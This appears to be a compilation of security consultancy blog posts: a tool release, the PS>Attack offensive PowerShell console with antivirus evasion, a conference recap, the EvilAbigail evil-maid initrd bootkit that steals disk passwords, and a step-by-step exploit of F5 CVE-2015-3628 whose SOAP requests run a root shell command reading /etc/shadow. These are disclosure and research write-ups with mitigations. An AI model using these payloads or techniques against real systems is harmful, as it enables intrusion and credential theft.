Convert2FPR: Introducing ESLint and PMD support.

Convert2FPR:  introducing ESLint and PMD support.

Expanding on our previous blog post where we released a tool to convert Findbugs’ XML output into Fortify’s FPR format, we’ve now released two additional XSL transformations to provide ESLint and PMD XML output conversion.  

ESLint is an open source JavaScript lint application written using Node.js. ESLint allows all rules to be completely configurable, allowing developers to create their own rules. A number of security plugins for client-side JavaScript and Node.js have emerged recently.

PMD is a source code analyser that supports Java, JavaScript, PL/SQL, Apache Velocity, XML and XSL. GDS released security rules for PMD in a previous post.

We’ve also added a fast XSL transformation for Findbugs, which transforms only security related issues to the FPR format.

The example below demonstrates current the usage of the tool:


$ java -jar convert2FPR.jar findbugs report.xml

Fast-Findbugs (Security Issues only)
$ java -jar convert2FPR.jar findbugs-fast report.xml

$ java -jar convert2FPR.jar eslint report.xml

$ java -jar convert2FPR.jar pmd report.xml


The first parameter represents the input format; the second parameter is the XML report we wish to transform. The output file is ./report.fpr .

The source code and compiled tool can be found in our Github Repository:


Introducing PS>Attack

I’ve been a huge PowerShell fan ever since I first discovered it as a Systems Administrator many years ago. It’s an incredibly easy to use, intuitive and powerful language and helped me efficiently address a lot of tasks that came across my plate. Unfortunately, the other Systems Administrators that I worked with were less keen to pick it up. Years of pointing and clicking had made them nervous about using a command line.

For different reasons, the Information Security community is in a similar state. PowerShell is an incredible platform for both offense and defense. There is a lot of cutting edge work being done by members of the PowerShell community, but the Information Security community at large is unaware of a lot of their contributions. This may stem from a lack of interest in Windows development or fear of having to learn yet another scripting language. No matter the reason, a lot of security professionals are missing out on some great work.

Enter PS>Attack

To help make using offensive PowerShell easier, I’ve created PS>Attack. PS>Attack is a custom made console that is designed to emulate PowerShell and enhance it. Built into PS>Attack are over 110 offensive PowerShell commands representing some of the greatest work going on in the offensive PowerShell community. This selection of tools runs the entire gamut of a security assessment including Reconnaissance, Privilege Escalation, Backdoors and Data Exfiltration. It also includes a custom command called “get-attack” which helps to serve as an attack search engine. It takes a word or phrase and returns a list of commands and their descriptions that match what you’re looking for.

Get-Attack returning a list of commands related to the word “Password”

All of this is bundled into a single executable that runs on anything from a fresh install of Windows 7 all the way up to a fully patched version of Windows 10. There’s no installer, just double click and start attacking.

Not Just for the Lab

In creating PS>Attack, I didn’t want to create a tool that was only used in a lab environment. I wanted to create something that was useful and could find its way into a penetration tester’s bag of tricks. To this end, PS>Attack is designed to evade antivirus and other hurdles. The various scripts and payloads that provide the commands are encrypted before being embedded into the executable. When PS>Attack is run, these scripts are decrypted directly into memory, so the plain text payloads never touch the hard drive. This helps avoid detection by most antivirus solutions.

PS>Attack is also written using native .NET functions and objects to process PowerShell code, it does not rely on “powershell.exe”. Because .NET is such an important part of Windows, this means that it’s very difficult for an organization to prevent PS>Attack from accessing the functionality it needs to run.

Getting PS>Attack

PS>Attack is available on our Github account. You can either compile the code yourself using Visual Studio or you can download pre-compiled binaries from the “releases” tab.


PS>Attack relies on a lot of tools to make itself effective and it’s important to make sure that the authors of those tools get the attention they deserve. Scripts from the following tools and frameworks are incorporated into PS>Attack. These tools represent some of the best work being done in offensive PowerShell today:


GDSCon 2016 - Wrapup

Thanks to all those who attended GDS’s inaugural GDSCon 2016 conference in London. We had a close to capacity crowd at 68 attendees!

To overview what was covered on the day:

  • Keynote: Letters from a broken fence line: Cyber lessons learned in Helmand province
  • Building security into the development lifecycle
  • A peek into what GDS Labs has been up to
  • Testing your defences (or are you testing what you think you are?)
  • Lessons from the Red Team trenches
  • Hybrid security assessments
  • Why using crypto is not Plug-and-Play
  • Fun with exploiting XML entity expansion

And not to be left out - thanks to the team running the lock picking village on the day.

The GDS events team will be going through all the great feedback to help make the next GDSCon event even better!


Introducing EvilAbigail

Tis the season to be jolly… or so they say; but it is also the season to be wary and vigilant. At GDS we were recently discussing cold boot attacks against full disk encryption on Linux systems – it didn’t take us long to agree it was feasible, but just how hard would it be and how practical is it to execute an attack? After a little searching we didn’t come across any pre existing tools so there was only one way forward…

The Attack

Evil maid attacks can be used to target any operating system. For this research we focused our attention on Linux with LUKS full disk encryption.

Traditionally, when a Linux distribution is installed with full disk encryption there is a small partition that remains unencrypted to enable the decryption and bootstrapping onto the encrypted drive. This partition will be mounted at /boot and contains the kernel and the initial ramdisk (initrd). While it would also be possible to attack the bootloader or the kernel we decided to focus on the initrd image.

The initrd is a minimal set of tools for decrypting and mounting the root filesystem, along with any other tasks required to get other mounts ready (e.g /proc, /dev). Once the initrd has finished its job, it performs a pivot_root, during which it removes itself as the root filesystem and launches the main init script on the new (real) root filesystem. A lot of trust is placed on initrd, however, it is conceptually trivial to modify the initrd to run malicious code. The exact method for performing this might vary between different distributions, but it remains relatively simple.

The initrd is traditionally a gzip compressed cpio image. This is the case for the Debian based systems we tested, whereas RedHat based distributions (Fedora, RHEL, CentOS) now use dracut and consist of an uncompressed cpio image with a gzip compressed cpio image appended. Debian based initrds use ash shell scripts to perform the setup, whereas dracut based installations use systemd and its associated configuration method.

To perform our specific attack we chose to implement an LD_PRELOAD based bootkit due to the ease of development, but the same theory can be applied to injecting a malicious kernel module or other persistent binary. Our main aim in using the LD_PRELOAD method is to inject a shared object into the first binary that is executed on the freshly decrypted root filesystem. This is usually /sbin/init and will have the PID of 1. To do this, the easiest method is to just modify the init script to export this environment variable so that it is set when the pivot_root occurs. Because the filesystem changes it is also necessary to copy the shared object to the new filesystem at an appropriate time (post decryption). This can be achieved with the following two lines inserted inside the initrd’s init script just before the root switch is executed:

cp / /${rootmnt}/
export LD_PRELOAD=/

This works because the real root filesystem is decrypted and mounted under the temporary root mount prior to the pivot and the rootmnt variable is populated with the location of the mountpoint. However, before this takes place it is necessary to remount the target filesystem as read write as by default it is read-only. In our case we patched the init script where it parses the kernel commandline so that whatever argument was provided, the root is mounted readwrite. An alternative to this could be to just add mount -o remount,rw /${rootmnt} to our list of injected commands.

This injection point does not exist on dracut based initrds however, as the init executable is a binary rather than a shell script. This creates three issues of which we must bypass all to achieve injection into pid 1.

The first issue relates to copying our binary into the decrypted root filesystem. This is the easiest of the three to bypass. To achieve this we added two ExecPre directives to the systemd service file responsible for pivoting the filesystem root. This is roughly equivalent to inserting commands just before the script executes switch-root as before. The first command remounts the root filesystem as read-write (as it is read-only by default), and the second performs the copy.

The second issue is with LD_PRELOAD. As we are not modifying a shell script, and we cannot pass environment variables to this process (as it is called by the kernel), it becomes tricky to load our shared object. The easiest way to bypass this is to move the init binary to a different location, and insert our own shell script in its place, which ends by executing the original binary. Only 2 lines are required, the first to export LD_PRELOAD, and the second is to execute the original systemd binary. Note that this injection is into the initrd’s pid 1, not the eventual root filesystems pid 1. The reason we obtain this injection point is to help us with issue three.

The third issue is that before calling the switch-root command, the systemd environment clears out all environment variables using the clearenv() function. As this function is part of the standard library, it is possible for us to override this function so the injected process calls our function rather than the original. Because we do not care about actually clearing out the environment variables, we do not do a very thorough job. Our version of the clearenv() function will remove all environment variables, and inject our LD_PRELOAD variable into the environment. As the clearenv() function is only called once in this process (the time we want to break it anyway), this modification will not cause any side effects.

These three patches, when combined, will result in our shared object being copied to the encrypted root filesystem, and LD_PRELOAD being injected into the eventual pid 1 in our target filesystem, as in our Debian based example. Note that these are not security features, just that the systemd command pipeline is more complex than that of a flat shell script.

With this level of access, it is also possible to exfiltrate the user’s password provided for decrypting the root filesystem. Note, this does not require any weaknesses in the encryption, but subverts the password input processing.

In the case of Debian initrds, the password is piped between the executable that asks the user for their password and the executable that decrypts and mounts the root filesystem. We can just inject our own script in process pipeline to save the password as well as passing it on.

As for systemd, it uses more complex inter-process communication via Unix domain sockets. Rather than attack this part of the process, we chose to attack the actual mounting of the filesystem. Once again this is a library function, in a dynamically loaded library, called inside the systemd binary so it is possible to hook the function. The function that decrypts the drive is called crypt_activate_by_passphrase. This function takes, among other arguments, the password as a char array. By hooking this function we are able to access the the password. In this case, we want to wrap the original function so we use dlsym to access the real function and call it ourselves. However, before doing this we also save the password for retrieval later.

To ‘save’ the password, we simply append it to the shared object we later copy into the root filesystem. We chose this method because we already know that the file exists and will be copied, whereas we do not necessarily have any other mounts that will persist. This method also decreases the number of files we touch on disk. To access the password we then read the password from the end of our own file (located by reading the LD_PRELOAD variable) and set it as the value of the PASSWORD environment variable in the context of our reverse shell, so (in the case of meterpreter) the ‘getenv PASSWORD’ command will retrieve the password used to decrypt the drive. In our development, our proof of concept .so simply ran a python meterpreter reverse shell, as python was available by default on all of our targets.


There are a number of methods that can be employed to mitigate these issues. However, even using these mitigations there is no way to protect an attacker with physical access and enough time from reflashing the BIOS/UEFI.

The first mitigation would be to keep the bootloader, kernel and initrd on an external usb drive which is booted from in lieu of a /boot partition. Whilst possibly the most secure option, it is also the most awkward for the user as they must remember to always pull the drive when leaving the laptop unattended, including safely unmounting the /boot partition, if not already unmounted. It will also make updates more awkward as it is necessary to have the usb key present to update the initrd/kernel.

Another option would be to completely disable booting off external media. This should remove the possibility for automated attacks, but in some cases, such as with Debian initrds which contain a full shell, it may still be possible to manually mount and modify the initrd from inside the initrd itself. This could be done via an automated keyboard style device, which could achieve the same end without the requirement to boot off external media.

A slightly lesser option would be to enable the BIOS boot password. This should disable anyone from booting to anything without the BIOS password.

These last two options do not protect against the case in which the attacker has enough time to pull the drive and use their own laptop/device to mount the hard drive and modify it directly.

The final, and most secure option would be to extend SecureBoot into the initrd. As it stands, SecureBoot is able to verify from the bootloader to the kernel inclusive, but it stops short of the initrd. If this can be extended to also verify a signed initrd then it would be difficult to modify anything on the /boot partition without being detected. As above, there will still be a potential for attack if the attacker is able to flash the BIOS/UEFI to disable secureboot.

The best way to protect yourself from these kinds of attack would be to never allow your devices to fall into the hands of attackers. Our proof of concept attack was able to backdoor all targets in just over two minutes, but in a real world attack it may be possible to engineer a target specific payload that could take only a few seconds to run, if it only required copying a single file. If an attacker has physical access and just a little time we’ve demonstrated that if they come prepared this attack is more than feasible, so remember to keep your laptop safe this Christmas.

The code and more detail on our tool is available on our github:


Exploiting F5 iCall::Script Privilege Escalation (CVE-2015-3628)

Earlier this year GDS discovered a vulnerability in the F5 BIG-IP LTM product, that allows a user with limited access to the system to escalate his privileges and obtain highly privileged remote command execution on the device. This vulnerability was described in a previous post.

In this post we’ll show how to manually exploit the vulnerability. A Metasploit module to automate the process is also available - see for details. 


The issue was identified in the SOAP interface exposed by the devices at https://<host>/iControl/iControlPortal.cgi (a similar issue, although on a completely different function, was previously found in this same interface -  see CVE-2014-2928 for details). An attacker with valid credentials for the web interface and the “Resource Administrator” role can abuse the iCall SOAP functions to run arbitrary commands on the device with root privileges.

Using the iCall interface it’s possible to create and run management scripts, these are executed by a Tcl interpreter effectively running with root privileges.

See the F5 Security Advisory for a list of vulnerable versions.


The following steps demonstrate the attack by retrieving the “/etc/shadow” file, containing all password hashes from the device. However, it is possible to obtain a root command shell on the device using the same method.

For purpose of demonstration a user named “test” with the “Resource Administrator” role and password “default” has been created on the device. This user was defined without any shell access. 

The following HTTP POST request will create an iCall script on the device, the malicious payload exec /bin/sh -c “id>/var/local/ucs/file.ucs;cat /etc/shadow >>/var/local/ucs/file.ucs;chmod a+r /var/local/ucs/file.ucs” is highlighted in red.

The executed script does not return any output, however, the content of the shadow password file will be copied into a directory used to store configuration backups for the device. From here it is be possible to retrieve it using the web interface, as will be deomonstrated later. We’ll include also in the file the output from the “id” command, to show that the commands are executed as root.


POST /iControl/iControlPortal.cgi HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:iControl:iCall/Script
Content-Length: 866
Authorization: Basic dGVzdDpkZWZhdWx0=

<soapenv:Envelope xmlns:xsi="" xmlns:xsd="" xmlns:soapenv="" xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="">
<scr:create soapenv:encodingStyle="">
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"><item>exploit</item></scripts>
<definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"><item>exec /bin/sh -c "id>/var/local/ucs/file.ucs;cat /etc/shadow >>/var/local/ucs/file.ucs;chmod a+r /var/local/ucs/file.ucs" </item></definitions>


HTTP/1.1 200 OK
Date: Fri, 26 Jun 2015 14:30:32 GMT
Server: Apache
SOAPServer: EasySoap++/0.6
X-Frame-Options: SAMEORIGIN
Content-Type: text/xml; charset="UTF-8"
Content-Length: 428


To trigger execution of the script the iCall interface provides different types of handlers; in this case a PeriodicHandler will be used with the following request: 

POST /iControl/iControlPortal.cgi HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:iControl:iCall/PeriodicHandler
Content-Length: 923
Authorization: Basic dGVzdDpkZWZhdWx0=

<soapenv:Envelope xmlns:xsi="" xmlns:xsd="" xmlns:soapenv="" xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="">
<per:create soapenv:encodingStyle="">
<handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<intervals xsi:type="urn:Common.ULongSequence" soapenc:arrayType="xsd:long[]" xmlns:urn="urn:iControl">


HTTP/1.1 200 OK
Date: Fri, 26 Jun 2015 14:36:30 GMT
Server: Apache
Set-Cookie: BIGIPAuthCookie=E41B1D179BD9DBF88AF1FF43F2390E5ED6BD6199; path=/; Secure;
Set-Cookie: BIGIPAuthUsernameCookie=test; path=/; Secure;
SOAPServer: EasySoap++/0.6
X-Frame-Options: SAMEORIGIN
Content-Type: text/xml; charset="UTF-8"
Content-Length: 428


From this point the script will be executed every 30 seconds by the generated handler.

The output file can be retrieved by logging into the device and navigating to System->Archives, as shown in the following screenshots:





The downloaded file contains the output of the commands, as expected:

$ cat file.ucs
uid=0(root) gid=0(root) context=system_u:system_r:init_t



Apply vendor patches. If this is not feasible, review configuration for any accounts in the Resource Administrator role. Update the configuration to use provide the least privilege necessary while acknowledging the Resource Administrators have unconstrained privileges patches for this issue are applied.

Disclosure Timeline:

2015/04/07 - Vulnerability reported to the F5 Security Response Team.
2015/04/27 - F5 confirm vulnerability and affected versions.
2015/09/05 - F5 release version 12.0.0 which is not affected by this vulnerability.
2015/09/22 - F5 release 11.5.3 HF2 which resolves this issue.
2015/10/30 - F5 release 11.6.0 HF6 which resolves this issue.
2015/11/19 - Metasploit modue released.